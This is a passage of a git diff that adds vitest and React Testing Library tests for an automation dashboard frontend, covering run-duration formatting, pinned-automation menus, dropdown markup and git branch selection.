+          started_at: "2026-08-01T10:00:00.000Z",
+          completed_at: "2026-08-01T10:02:30.000Z",
+        }),
+      ),
+    ).toBe(150_000);
+  });
+
+  it("uses elapsed time for in-flight runs with a usable start", () => {
+    const now = Date.parse("2026-08-01T10:03:00.000Z");
+    expect(
+      getAutomationRunDurationMs(
+        makeRun({
+          status: AutomationRunStatus.RUNNING,
+          started_at: "2026-08-01T10:00:00.000Z",
+          completed_at: null,
+        }),
+        now,
+      ),
+    ).toBe(180_000);
+  });
+
+  it("returns null when timestamps are missing or invalid", () => {
+    expect(
+      getAutomationRunDurationMs(
+        makeRun({
+          status: AutomationRunStatus.FAILED,
+          started_at: "2026-08-01T10:00:00.000Z",
+          completed_at: null,
+        }),
+      ),
+    ).toBeNull();
+  });
+});
+
+describe("durationMsToSparklineBarHeightPx", () => {
+  it("maps unknown duration to the mid fallback height", () => {
+    expect(durationMsToSparklineBarHeightPx(null)).toBe(
+      AUTOMATION_RUN_ACTIVITY_UNKNOWN_BAR_PX,
+    );
+  });
+
+  it("grows with duration between the min and max bar heights", () => {
+    const shortBar = durationMsToSparklineBarHeightPx(1_000);
+    const mediumBar = durationMsToSparklineBarHeightPx(60_000);
+    const longBar = durationMsToSparklineBarHeightPx(30 * 60_000);
+
+    expect(shortBar).toBe(AUTOMATION_RUN_ACTIVITY_MIN_BAR_PX);
+    expect(longBar).toBe(AUTOMATION_RUN_ACTIVITY_MAX_BAR_PX);
+    expect(mediumBar).toBeGreaterThan(shortBar);
+    expect(mediumBar).toBeLessThan(longBar);
+  });
+});
+
+describe("formatDurationForTitle", () => {
+  it("formats seconds, minutes, and hours", () => {
+    expect(formatDurationForTitle(12_000)).toBe("12s");
+    expect(formatDurationForTitle(180_000)).toBe("3m");
+    expect(formatDurationForTitle(7_200_000)).toBe("2.0h");
+  });
+});
+
+describe("barColorClassForStatus", () => {
+  it("uses a pulsing success green for running bars", () => {
+    const classes = barColorClassForStatus(AutomationRunStatus.RUNNING);
+    expect(classes).toContain("bg-[var(--oh-status-success)]");
+    expect(classes).toContain("animate-pulse");
+  });
+
+  it("uses a grey diagonal hatch for pending bars", () => {
+    const classes = barColorClassForStatus(AutomationRunStatus.PENDING);
+    expect(classes).toContain("repeating-linear-gradient");
+    expect(classes).toContain("var(--oh-muted)");
+    expect(classes).toContain("var(--oh-border)");
+  });
+
+  it("uses warning color for blocked task outcomes", () => {
+    expect(barColorClassForStatus("blocked")).toContain(
+      "bg-[var(--oh-warning)]",
+    );
+  });
+
+  it("uses warning color for partial and unknown task outcomes", () => {
+    expect(barColorClassForStatus("partial_success")).toContain(
+      "bg-[var(--oh-warning)]",
+    );
+    expect(barColorClassForStatus("unknown")).toContain(
+      "bg-[var(--oh-warning)]",
+    );
+  });
+});
diff --git a/__tests__/components/features/home/build-pinned-automation-menu-items.test.ts b/__tests__/components/features/home/build-pinned-automation-menu-items.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..442f8af6cbc513855eeb4fc5a6ea10fe645e037d
--- /dev/null
+++ b/__tests__/components/features/home/build-pinned-automation-menu-items.test.ts
@@ -0,0 +1,113 @@
+import { describe, expect, it, vi } from "vitest";
+import { buildHomeAutomationMenuItems } from "#/components/features/home/featured-automations/build-home-automation-menu-items";
+import { I18nKey } from "#/i18n/declaration";
+import type { Automation } from "#/types/automation";
+
+function makeAutomation(overrides: Partial<Automation> = {}): Automation {
+  return {
+    id: "auto-1",
+    name: "Daily digest",
+    prompt: "Summarize",
+    trigger: {
+      type: "cron",
+      schedule: "0 9 * * *",
+      schedule_human: "Daily at 09:00",
+    },
+    enabled: true,
+    created_at: "2026-01-01T00:00:00Z",
+    updated_at: "2026-01-01T00:00:00Z",
+    ...overrides,
+  };
+}
+
+function itemKeys(
+  entries: ReturnType<typeof buildHomeAutomationMenuItems>,
+): string[] {
+  return entries
+    .filter((entry) => entry.kind === "item")
+    .map((entry) => entry.key);
+}
+
+describe("buildHomeAutomationMenuItems", () => {
+  it("orders run / view / edit / turn off / pin with a separator", () => {
+    const entries = buildHomeAutomationMenuItems({
+      automation: makeAutomation(),
+      t: (key) => key,
+      canManage: true,
+      isRunPending: false,
+      isCancelPending: false,
+      canCancel: false,
+      testIdPrefix: "running-automation",
+      pinTestId: "running-automation-pin-auto-1",
+      isPinned: false,
+      onRunNow: vi.fn(),
+      onCancelRun: vi.fn(),
+      onView: vi.fn(),
+      onEdit: vi.fn(),
+      onTurnOff: vi.fn(),
+      onTogglePin: vi.fn(),
+    });
+
+    expect(itemKeys(entries)).toEqual([
+      "run-now",
+      "view",
+      "edit",
+      "turn-off",
+      "pin",
+    ]);
+    expect(entries.some((entry) => entry.kind === "separator")).toBe(true);
+    const pinItem = entries.find(
+      (entry) => entry.kind === "item" && entry.key === "pin",
+    );
+    expect(pinItem?.kind === "item" && pinItem.label).toBe(
+      I18nKey.FEATURED_AUTOMATIONS$PIN,
+    );
+  });
+
+  it("adds cancel run for in-flight automations and disables run now", () => {
+    const entries = buildHomeAutomationMenuItems({
+      automation: makeAutomation(),
+      t: (key) => key,
+      canManage: true,
+      isRunPending: false,
+      isCancelPending: false,
+      canCancel: true,
+      testIdPrefix: "pinned-automation",
+      pinTestId: "unpin-automation-auto-1",
+      isPinned: true,
+      onRunNow: vi.fn(),
+      onCancelRun: vi.fn(),
+      onView: vi.fn(),
+      onTurnOff: vi.fn(),
+      onTogglePin: vi.fn(),
+    });
+
+    expect(itemKeys(entries)).toContain("cancel-run");
+    const runNow = entries.find(
+      (entry) => entry.kind === "item" && entry.key === "run-now",
+    );
+    expect(runNow?.kind === "item" && runNow.disabled).toBe(true);
+  });
+
+  it("omits manage actions when the user cannot manage automations", () => {
+    const entries = buildHomeAutomationMenuItems({
+      automation: makeAutomation(),
+      t: (key) => key,
+      canManage: false,
+      isRunPending: false,
+      isCancelPending: false,
+      canCancel: false,
+      testIdPrefix: "running-automation",
+      pinTestId: "running-automation-pin-auto-1",
+      isPinned: false,
+      onRunNow: vi.fn(),
+      onCancelRun: vi.fn(),
+      onView: vi.fn(),
+      onEdit: vi.fn(),
+      onTurnOff: vi.fn(),
+      onTogglePin: vi.fn(),
+    });
+
+    expect(itemKeys(entries)).toEqual(["view", "pin"]);
+  });
+});
diff --git a/__tests__/components/features/home/featured-automations-section.test.tsx b/__tests__/components/features/home/featured-automations-section.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..7ddd0fe7e2fa1d8abb44a4839c3a5a7364894f21
--- /dev/null
+++ b/__tests__/components/features/home/featured-automations-section.test.tsx
@@ -0,0 +1,598 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import React from "react";
+import { render, screen, waitFor, within } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+
+import AutomationService from "#/api/automation-service/automation-service.api";
+import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api";
+import type { AppConversation } from "#/api/conversation-service/agent-server-conversation-service.types";
+import ProfilesService from "#/api/profiles-service/profiles-service.api";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import { PinnedAutomationsDashboard } from "#/components/features/home/featured-automations/pinned-automations-dashboard";
+import { RunningAutomationsList } from "#/components/features/home/featured-automations/running-automations-list";
+import { NavigationProvider } from "#/context/navigation-context";
+import { HOME_PINNED_AUTOMATIONS_KEY } from "#/hooks/use-home-pinned-automations";
+import { AUTOMATION_STACK_SECTION_BOTTOM_CLASS } from "#/utils/automation-stack-section";
+import {
+  AutomationRunStatus,
+  type Automation,
+  type AutomationRun,
+} from "#/types/automation";
+import { displayErrorToast } from "#/utils/custom-toast-handlers";
+
+vi.mock("react-i18next", () => ({
+  useTranslation: () => ({
+    t: (key: string, options?: { name?: string; count?: number }) => {
+      if (options?.name) return `${key}:${options.name}`;
+      if (options?.count != null) return `${key}:${options.count}`;
+      return key;
+    },
+    i18n: { language: "en" },
+  }),
+}));
+
+vi.mock("#/api/automation-service/automation-service.api", () => ({
+  default: {
+    checkHealth: vi.fn(),
+    getAutomations: vi.fn(),
+    getAutomationRuns: vi.fn(),
+    dispatchAutomation: vi.fn(),
+    toggleAutomation: vi.fn(),
+    cancelAutomationRun: vi.fn(),
+  },
+}));
+
+vi.mock("#/api/profiles-service/profiles-service.api", () => ({
+  default: {
+    listProfiles: vi.fn(),
+  },
+}));
+
+vi.mock("#/utils/custom-toast-handlers", () => ({
+  displaySuccessToast: vi.fn(),
+  displayErrorToast: vi.fn(),
+}));
+
+// Mock permission hooks so home automation components don't need a real
+// ActiveBackendProvider or /me endpoint.
+vi.mock("#/hooks/use-automation-permissions", () => ({
+  useAutomationPermissions: () => ({
+    canView: true,
+    canManage: true,
+    isLoading: false,
+  }),
+  useIsAutomationOwner: () => true,
+}));
+
+vi.mock(
+  "#/api/conversation-service/agent-server-conversation-service.api",
+  () => ({
+    default: { batchGetAppConversations: vi.fn() },
+  }),
+);
+
+function makeAutomation(overrides: Partial<Automation> = {}): Automation {
+  return {
+    id: "auto-1",
+    name: "Daily digest",
+    prompt: "Summarize yesterday's PRs",
+    trigger: {
+      type: "cron",
+      schedule: "0 9 * * *",
+      schedule_human: "Daily at 09:00",
+    },
+    enabled: true,
+    created_at: "2026-01-01T00:00:00Z",
+    updated_at: "2026-01-01T00:00:00Z",
+    ...overrides,
+  };
+}
+
+function makeRun(overrides: Partial<AutomationRun> = {}): AutomationRun {
+  return {
+    id: "run-1",
+    status: AutomationRunStatus.COMPLETED,
+    conversation_id: "conv-1",
+    bash_command_id: "cmd-1",
+    error_detail: null,
+    started_at: "2026-08-01T10:00:00Z",
+    completed_at: "2026-08-01T10:05:00Z",
+    ...overrides,
+  };
+}
+
+function makeConversation(id: string, title: string | null): AppConversation {
+  return {
+    id,
+    created_by_user_id: null,
+    selected_repository: null,
+    selected_branch: null,
+    git_provider: null,
+    title,
+    trigger: null,
+    pr_number: [],
+    llm_model: null,
+    metrics: null,
+    created_at: "2026-01-01T00:00:00Z",
+    updated_at: "2026-01-01T00:00:00Z",
+    execution_status: null,
+    sandbox_status: null,
+    conversation_url: "https://sandbox.example.com/api",
+    session_api_key: null,
+    sandbox_id: null,
+    sub_conversation_ids: [],
+  };
+}
+
+/** Pins are stored under a backend/org-scoped key; find it by prefix. */
+function getStoredPinnedIds(): string | null {
+  const key = Object.keys(window.localStorage).find((storageKey) =>
+    storageKey.startsWith(HOME_PINNED_AUTOMATIONS_KEY),
+  );
+  return key ? window.localStorage.getItem(key) : null;
+}
+
+function renderHomeAutomations(ui: React.ReactElement) {
+  const queryClient = new QueryClient({
+    defaultOptions: { queries: { retry: false } },
+  });
+  return render(
+    <QueryClientProvider client={queryClient}>
+      <NavigationProvider
+        value={{
+          currentPath: "/",
+          conversationId: null,
+          isNavigating: false,
+          navigate: vi.fn(),
+        }}
+      >
+        {ui}
+      </NavigationProvider>
+    </QueryClientProvider>,
+  );
+}
+
+beforeEach(() => {
+  vi.clearAllMocks();
+  window.localStorage.clear();
+  vi.mocked(AutomationService.checkHealth).mockResolvedValue({ status: "ok" });
+  vi.mocked(AutomationService.getAutomations).mockResolvedValue({
+    automations: [makeAutomation()],
+    total: 1,
+  });
+  vi.mocked(AutomationService.getAutomationRuns).mockResolvedValue({
+    runs: [makeRun()],
+    total: 1,
+  });
+  vi.mocked(AutomationService.dispatchAutomation).mockResolvedValue(makeRun());
+  vi.mocked(AutomationService.toggleAutomation).mockResolvedValue(
+    makeAutomation({ enabled: false }),
+  );
+  vi.mocked(
+    AgentServerConversationService.batchGetAppConversations,
+  ).mockResolvedValue([]);
+  vi.mocked(ProfilesService.listProfiles).mockResolvedValue({
+    profiles: [],
+    active_profile: null,
+  });
+});
+
+describe("home automations composer layout", () => {
+  it("lists rows with accessible health labels and a manage control", async () => {
+    vi.mocked(AutomationService.getAutomations).mockResolvedValue({
+      automations: [
+        makeAutomation({ id: "auto-1", name: "Daily digest" }),
+        makeAutomation({ id: "auto-2", name: "PR review" }),
+        makeAutomation({
+          id: "auto-3",
+          name: "Disabled sweep",
+          enabled: false,
+        }),
+      ],
+      total: 3,
+    });
+    vi.mocked(AutomationService.getAutomationRuns).mockImplementation(
+      async (id: string) => {
+        if (id === "auto-2") {
+          return {
+            runs: [
+              makeRun({
+                id: "run-2",
+                status: AutomationRunStatus.FAILED,
+                error_detail: "boom",
+              }),
+            ],
+            total: 1,
+          };
+        }
+        return { runs: [makeRun()], total: 1 };
+      },
+    );
+
+    renderHomeAutomations(<RunningAutomationsList />);
+
+    expect(
+      await screen.findByRole("link", {
+        name: /Daily digest\s*AUTOMATIONS\$DETAIL\$SUCCESSFUL/,
+      }),
+    ).toBeInTheDocument();
+    expect(
+      await screen.findByRole("link", {
+        name: /PR review\s*AUTOMATIONS\$DETAIL\$FAILED/,
+      }),
+    ).toBeInTheDocument();
+    expect(screen.queryByText("Disabled sweep")).not.toBeInTheDocument();
+    expect(screen.getByTestId("home-automations-manage")).toHaveAttribute(
+      "href",
+      "/automations",
+    );
+  });
+
+  it("renders nothing when the automation service is unavailable", async () => {
+    vi.mocked(AutomationService.checkHealth).mockResolvedValue({
+      status: "error",
+      message: "unreachable",
+    });
+
+    renderHomeAutomations(<RunningAutomationsList />);
+
+    await waitFor(() =>
+      expect(AutomationService.checkHealth).toHaveBeenCalledTimes(1),
+    );
+    expect(
+      screen.queryByTestId("running-automations-list"),
+    ).not.toBeInTheDocument();
+    expect(AutomationService.getAutomations).not.toHaveBeenCalled();
+  });
+
+  it("keeps the pane visible with an add prompt when there are no enabled automations", async () => {
+    vi.mocked(AutomationService.getAutomations).mockResolvedValue({
+      automations: [makeAutomation({ enabled: false })],
+      total: 1,
+    });
+
+    renderHomeAutomations(<RunningAutomationsList />);
+
+    await waitFor(() =>
+      expect(AutomationService.getAutomations).toHaveBeenCalledTimes(1),
+    );
+    // The pane stays visible to nudge users toward adding automations.
+    expect(
+      await screen.findByTestId("running-automations-list"),
+    ).toBeInTheDocument();
+    expect(
+      screen.getByTestId("running-automations-empty-hint"),
+    ).toBeInTheDocument();
+    expect(screen.getByTestId("home-automations-manage")).toHaveAttribute(
+      "href",
+      "/automations",
+    );
+  });
+
+  it("lists enabled automations with live run status and conversation links", async () => {
+    vi.mocked(AutomationService.getAutomations).mockResolvedValue({
+      automations: [
+        makeAutomation({ id: "auto-1", name: "Daily digest" }),
+        makeAutomation({
+          id: "auto-2",
+          name: "PR review",
+          trigger: {
+            type: "event",
+            source: "github",
+            on: "pull_request.opened",
+          },
+        }),
+      ],
+      total: 2,
+    });
+    vi.mocked(AutomationService.getAutomationRuns).mockImplementation(
+      async (id: string) => {
+        if (id === "auto-2") {
+          return {
+            runs: [
+              makeRun({
+                id: "run-2",
+                status: AutomationRunStatus.PENDING,
+                conversation_id: null,
+                started_at: "1970-01-01T00:00:00Z",
+                completed_at: null,
+              }),
+            ],
+            total: 1,
+          };
+        }
+        return { runs: [makeRun()], total: 1 };
+      },
+    );
+
+    renderHomeAutomations(<RunningAutomationsList />);
+
+    expect(
+      await screen.findByTestId("running-automations-list"),
+    ).toBeInTheDocument();
+
+    expect(screen.getByRole("link", { name: /Daily digest/ })).toHaveAttribute(
+      "href",
+      "/conversations/conv-1",
+    );
+    expect(screen.getByRole("link", { name: /PR review/ })).toHaveAttribute(
+      "href",
+      "/automations/auto-2",
+    );
+    expect(
+      screen.getByText("Daily at 09:00", { exact: false }),
+    ).toBeInTheDocument();
+  });
+
+  it("previews 10 rows, expands with View more, then offers View All at 20", async () => {
+    const automations = Array.from({ length: 20 }, (_, index) =>
+      makeAutomation({
+        id: `auto-${index + 1}`,
+        name: `Automation ${index + 1}`,
+      }),
+    );
+    vi.mocked(AutomationService.getAutomations).mockResolvedValue({
+      automations,
+      total: 20,
+    });
+    vi.mocked(AutomationService.getAutomationRuns).mockResolvedValue({
+      runs: [makeRun()],
+      total: 1,
+    });
+    const user = userEvent.setup();
+
+    renderHomeAutomations(<RunningAutomationsList />);
+
+    expect(
+      await screen.findByTestId("running-automations-list"),
+    ).toBeInTheDocument();
+    expect(screen.getByText("Automation 1")).toBeInTheDocument();
+    expect(screen.getByText("Automation 10")).toBeInTheDocument();
+    expect(screen.queryByText("Automation 11")).not.toBeInTheDocument();
+
+    await user.click(screen.getByTestId("home-automations-view-more"));
+
+    expect(screen.getByText("Automation 11")).toBeInTheDocument();
+    expect(screen.getByText("Automation 20")).toBeInTheDocument();
+    expect(
+      screen.queryByTestId("home-automations-view-more"),
+    ).not.toBeInTheDocument();
+    expect(screen.getByTestId("home-automations-view-all")).toHaveAttribute(
+      "href",
+      "/automations",
+    );
+  });
+
+  it("pins from the row menu into a rich dashboard card with conversation title and failure detail", async () => {
+    vi.mocked(AutomationService.getAutomations).mockResolvedValue({
+      automations: [
+        makeAutomation({ id: "auto-1", name: "Daily digest" }),
+        makeAutomation({ id: "auto-2", name: "PR review" }),
+      ],
+      total: 2,
+    });
+    vi.mocked(AutomationService.getAutomationRuns).mockImplementation(
+      async (id: string) => {
+        if (id === "auto-2") {
+          return {
+            runs: [
+              makeRun({
+                id: "run-2",
+                status: AutomationRunStatus.FAILED,
+                conversation_id: null,
+                error_detail: "sandbox timeout",
+              }),
+            ],
+            total: 1,
+          };
+        }
+        return { runs: [makeRun()], total: 1 };
+      },
+    );
+    vi.mocked(
+      AgentServerConversationService.batchGetAppConversations,
+    ).mockResolvedValue([
+      makeConversation("conv-1", "Reviewed the release PR"),
+    ]);
+    const user = userEvent.setup();
+
+    renderHomeAutomations(
+      <>
+        <PinnedAutomationsDashboard />
+        <RunningAutomationsList />
+      </>,
+    );
+
+    expect(
+      await screen.findByTestId("running-automations-list"),
+    ).toBeInTheDocument();
+
+    await user.click(screen.getByTestId("running-automation-menu-auto-1"));
+    expect(
+      screen.getByTestId("running-automation-run-auto-1"),
+    ).toBeInTheDocument();
+    expect(
+      screen.getByTestId("running-automation-view-auto-1"),
+    ).toBeInTheDocument();
+    expect(
+      screen.getByTestId("running-automation-edit-auto-1"),
+    ).toBeInTheDocument();
+    expect(
+      screen.getByTestId("running-automation-turn-off-auto-1"),
+    ).toBeInTheDocument();
+    await user.click(screen.getByTestId("running-automation-pin-auto-1"));
+
+    const dashboard = await screen.findByTestId("pinned-automations-dashboard");
+    expect(dashboard).toHaveClass(AUTOMATION_STACK_SECTION_BOTTOM_CLASS);
+    const pinnedCard = within(dashboard).getByTestId(
+      "pinned-automation-card-auto-1",
+    );
+    expect(pinnedCard.className).toContain("extension-module-card-interactive");
+    expect(pinnedCard.className).toContain("bg-base-secondary");
+    expect(pinnedCard.className).not.toContain("border-[var(--oh-border)]");
+    expect(pinnedCard).toBeInTheDocument();
+    expect(
+      within(dashboard).getByTestId("pinned-automation-pills-auto-1-wrap"),
+    ).toBeInTheDocument();
+    expect(within(dashboard).getByText("Daily at 09:00")).toBeInTheDocument();
+    expect(
+      within(pinnedCard).getByTestId("automation-run-stats"),
+    ).toBeInTheDocument();
+    expect(
+      await within(dashboard).findByRole("link", {
+        name: "Reviewed the release PR",
+      }),
+    ).toHaveAttribute("href", "/conversations/conv-1");
+
+    await user.click(screen.getByTestId("running-automation-menu-auto-2"));
+    await user.click(screen.getByTestId("running-automation-pin-auto-2"));
+    expect(
+      await within(dashboard).findByText("sandbox timeout"),
+    ).toBeInTheDocument();
+    expect(
+      within(dashboard).getByText("AUTOMATIONS$DETAIL$NO_CONVERSATION"),
+    ).toBeInTheDocument();
+
+    expect(getStoredPinnedIds()).toContain("auto-1");
+
+    expect(
+      screen.queryByTestId("pinned-automation-run-now-auto-1"),
+    ).not.toBeInTheDocument();
+
+    await user.click(screen.getByTestId("pinned-automation-menu-auto-1"));
+    expect(
+      screen.getByTestId("pinned-automation-run-auto-1"),
+    ).toBeInTheDocument();
+    expect(
+      screen.getByTestId("pinned-automation-view-auto-1"),
+    ).toBeInTheDocument();
+    expect(
+      screen.getByTestId("pinned-automation-edit-auto-1"),
+    ).toBeInTheDocument();
+    expect(
+      screen.getByTestId("pinned-automation-turn-off-auto-1"),
+    ).toBeInTheDocument();
+
+    await user.click(screen.getByTestId("pinned-automation-run-auto-1"));
+    await waitFor(() => {
+      expect(AutomationService.dispatchAutomation).toHaveBeenCalledWith(
+        "auto-1",
+      );
+    });
+
+    await user.click(screen.getByTestId("pinned-automation-menu-auto-1"));
+    await user.click(screen.getByTestId("unpin-automation-auto-1"));
+    expect(
+      screen.queryByTestId("pinned-automation-card-auto-1"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("shows the pinned card's active-run phase using only the shared latest-run fetch, no extra request (home surface)", async () => {
+    // Arrange: a single automation with a RUNNING run that has a phase.
+    // `getAutomationRuns` is the one query both the row and the pinned
+    // dashboard card read (shared cache key + params) — if showing the
+    // phase required a second fetch, the call count below would exceed 1.
+    vi.mocked(AutomationService.getAutomationRuns).mockResolvedValue({
+      runs: [
+        makeRun({
+          status: AutomationRunStatus.RUNNING,
+          completed_at: null,
+          phase_code: "running_agent",
+          phase_label: null,
+        }),
+      ],
+      total: 1,
+    });
+    const user = userEvent.setup();
+
+    // Act
+    renderHomeAutomations(
+      <>
+        <PinnedAutomationsDashboard />
+        <RunningAutomationsList />
+      </>,
+    );
+    await screen.findByTestId("running-automations-list");
+    await user.click(screen.getByTestId("running-automation-menu-auto-1"));
+    await user.click(screen.getByTestId("running-automation-pin-auto-1"));
+
+    // Assert: the pinned card shows the phase ...
+    const dashboard = await screen.findByTestId("pinned-automations-dashboard");
+    expect(
+      await within(dashboard).findByText(
+        "AUTOMATIONS$DETAIL$PHASE_RUNNING_AGENT",
+      ),
+    ).toBeInTheDocument();
+    // ... and only one runs request was ever made for this automation.
+    expect(AutomationService.getAutomationRuns).toHaveBeenCalledTimes(1);
+  });
+
+  it("shows an error toast when turning an automation off fails", async () => {
+    vi.mocked(AutomationService.toggleAutomation).mockRejectedValue(
+      new Error("backend unavailable"),
+    );
+    const user = userEvent.setup();
+
+    renderHomeAutomations(<RunningAutomationsList />);
+
+    await screen.findByTestId("running-automations-list");
+    await user.click(screen.getByTestId("running-automation-menu-auto-1"));
+    await user.click(screen.getByTestId("running-automation-turn-off-auto-1"));
+    await user.click(screen.getByTestId("turn-off-automation-confirm"));
+
+    await waitFor(() => {
+      expect(AutomationService.toggleAutomation).toHaveBeenCalledWith(
+        "auto-1",
+        false,
+      );
+    });
+    await waitFor(() => {
+      expect(displayErrorToast).toHaveBeenCalled();
+    });
+  });
+});
+
+describe("home automations on a cloud backend", () => {
+  const cloudBackend: Backend = {
+    id: "cloud-1",
+    name: "Production",
+    host: "https://app.all-hands.dev",
+    apiKey: "bearer-key",
+    kind: "cloud",
+  };
+
+  afterEach(() => {
+    __resetActiveStoreForTests();
+  });
+
+  it("opens the Edit modal in place from a row menu instead of leaving the home surface", async () => {
+    // Arrange — make a cloud backend active before mounting.
+    setRegisteredBackends([cloudBackend]);
+    setActiveSelection({ backendId: cloudBackend.id });
+    const user = userEvent.setup();
+    renderHomeAutomations(
+      <ActiveBackendProvider>
+        <RunningAutomationsList />
+      </ActiveBackendProvider>,
+    );
+    await screen.findByTestId("running-automations-list");
+
+    // Act — pick Edit from the row menu.
+    await user.click(screen.getByTestId("running-automation-menu-auto-1"));
+    await user.click(screen.getByTestId("running-automation-edit-auto-1"));
+
+    // Assert — the editor opens pre-filled for this row rather than
+    // bouncing the user to the detail page.
+    const nameInput = (await screen.findByTestId(
+      "edit-automation-name",
+    )) as HTMLInputElement;
+    expect(nameInput.value).toBe("Daily digest");
+  });
+});
diff --git a/__tests__/components/features/home/generic-dropdown-menu.test.tsx b/__tests__/components/features/home/generic-dropdown-menu.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..48df3c488bd1d0a1f4fdee9dcf1896f69038013d
--- /dev/null
+++ b/__tests__/components/features/home/generic-dropdown-menu.test.tsx
@@ -0,0 +1,70 @@
+import { render, screen } from "@testing-library/react";
+import { describe, expect, it } from "vitest";
+
+import { GenericDropdownMenu } from "../../../../src/components/features/home/shared/generic-dropdown-menu";
+
+interface Item {
+  id: string;
+  name: string;
+}
+
+const ITEMS: Item[] = [
+  { id: "a", name: "a" },
+  { id: "b", name: "b" },
+];
+
+function renderMenu(props: Record<string, unknown> = {}) {
+  return render(
+    <GenericDropdownMenu<Item>
+      isOpen
+      filteredItems={ITEMS}
+      inputValue=""
+      highlightedIndex={-1}
+      selectedItem={null}
+      // eslint-disable-next-line @typescript-eslint/no-explicit-any
+      getMenuProps={(opts: any) => ({ ...opts })}
+      // eslint-disable-next-line @typescript-eslint/no-explicit-any
+      getItemProps={(opts: any) => ({ ...opts })}
+      renderItem={(item) => (
+        <li role="option" aria-selected={false} key={item.id}>
+          {item.name}
+        </li>
+      )}
+      renderEmptyState={() => <li aria-hidden="true" />}
+      testId="generic-menu"
+      itemKey={(item) => item.id}
+      {...props}
+    />,
+  );
+}
+
+describe("GenericDropdownMenu list structure", () => {
+  it("renders only <li> elements as direct children of the listbox <ul> (valid list markup)", () => {
+    // numberOfRecentItems > 0 triggers the recent-items divider after the
+    // first item. A <ul> may only contain <li> children; a <div> divider is
+    // invalid markup that a11y tooling flags (Copilot, agent-canvas#1).
+    renderMenu({ numberOfRecentItems: 1 });
+
+    const list = screen.getByTestId("generic-menu");
+    const nonLiChildren = Array.from(list.children).filter(
+      (el) => el.tagName !== "LI",
+    );
+
+    expect(nonLiChildren.map((el) => el.tagName)).toEqual([]);
+  });
+
+  it("keeps the recent-items divider out of the accessibility tree", () => {
+    renderMenu({ numberOfRecentItems: 1 });
+
+    // The divider must be presentational so screen readers don't announce a
+    // phantom list item. Match it by its role directly (not "not an option")
+    // so the assertion stays pinned if another non-option child is added.
+    const list = screen.getByTestId("generic-menu");
+    const divider = Array.from(list.children).find(
+      (el) => el.getAttribute("role") === "presentation",
+    );
+    expect(divider).toBeDefined();
+    expect(divider).toHaveAttribute("role", "presentation");
+    expect(divider).toHaveAttribute("aria-hidden", "true");
+  });
+});
diff --git a/__tests__/components/features/home/git-branch-dropdown.test.tsx b/__tests__/components/features/home/git-branch-dropdown.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..151dde9a583b2767769084cb1b0a0ec1d06cee3b
--- /dev/null
+++ b/__tests__/components/features/home/git-branch-dropdown.test.tsx
@@ -0,0 +1,186 @@
+import { render, screen, waitFor } from "@testing-library/react";
+import { describe, expect, vi, beforeEach, it } from "vitest";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import userEvent from "@testing-library/user-event";
+import { GitBranchDropdown } from "../../../../src/components/features/home/git-branch-dropdown/git-branch-dropdown";
+import { Branch } from "#/types/git";
+
+// Mock the branch data hook
+const mockUseBranchData = vi.fn();
+vi.mock("#/hooks/query/use-branch-data", () => ({
+  useBranchData: (...args: unknown[]) => mockUseBranchData(...args),
+}));
+
+const MOCK_BRANCHES: Branch[] = [
+  { name: "main", commit_sha: "abc123", protected: true },
+  { name: "develop", commit_sha: "def456", protected: false },
+  { name: "feature/test", commit_sha: "ghi789", protected: false },
+];
+
+const mockOnBranchSelect = vi.fn();
+
+const renderDropdown = (
+  props: Partial<Parameters<typeof GitBranchDropdown>[0]> = {},
+) => {
+  // Default mock return value
+  mockUseBranchData.mockReturnValue({
+    branches: MOCK_BRANCHES,
+    isLoading: false,
+    isError: false,
+    fetchNextPage: vi.fn(),
+    hasNextPage: false,
+    isFetchingNextPage: false,
+    isSearchLoading: false,
+  });
+
+  return render(
+    <GitBranchDropdown
+      repository="user/repo"
+      provider="github"
+      selectedBranch={null}
+      onBranchSelect={mockOnBranchSelect}
+      // eslint-disable-next-line react/jsx-props-no-spreading
+      {...props}
+    />,
+    {
+      wrapper: ({ children }) => (
+        <QueryClientProvider
+          client={
+            new QueryClient({
+              defaultOptions: {
+                queries: {
+                  retry: false,
+                },
+              },
+            })
+          }
+        >
+          {children}
+        </QueryClientProvider>
+      ),
+    },
+  );
+};
+
+describe("GitBranchDropdown", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+  });
+
+  describe("dropdown behavior", () => {
+    it("should open dropdown when input is clicked", async () => {
+      renderDropdown();
+
+      const input = screen.getByTestId("git-branch-dropdown-input");
+      await userEvent.click(input);
+
+      // Dropdown should be open (menu should be visible)
+      await waitFor(() => {
+        expect(
+          screen.getByTestId("git-branch-dropdown-menu"),
+        ).toBeInTheDocument();
+      });
+    });
+
+    it("should keep dropdown open when clicking input while already open", async () => {
+      renderDropdown();
+
+      const input = screen.getByTestId("git-branch-dropdown-input");
+
+      // First click - open dropdown
+      await userEvent.click(input);
+      await waitFor(() => {
+        expect(
+          screen.getByTestId("git-branch-dropdown-menu"),
+        ).toBeInTheDocument();
+      });
+
+      // Second click on input - should stay open (not close)
+      await userEvent.click(input);
+
+      // Dropdown should still be open
+      await waitFor(() => {
+        expect(
+          screen.getByTestId("git-branch-dropdown-menu"),
+        ).toBeInTheDocument();
+      });
+    });
+
+    it("should preserve typed text when clicking input while typing", async () => {
+      renderDropdown();
+
+      const input = screen.getByTestId(
+        "git-branch-dropdown-input",
+      ) as HTMLInputElement;
+
+      // Click to open and type
+      await userEvent.click(input);
+      await userEvent.type(input, "feat");
+
+      expect(input.value).toBe("feat");
+
+      // Click on input again (should not reset text)
+      await userEvent.click(input);
+
+      // Text should be preserved
+      expect(input.value).toBe("feat");
+    });
+  });
+
+  describe("cursor position preservation", () => {
+    it("should allow editing in the middle of input text", async () => {
+      renderDropdown();
+
+      const input = screen.getByTestId(
+        "git-branch-dropdown-input",
+      ) as HTMLInputElement;
+
+      // Click and type initial text
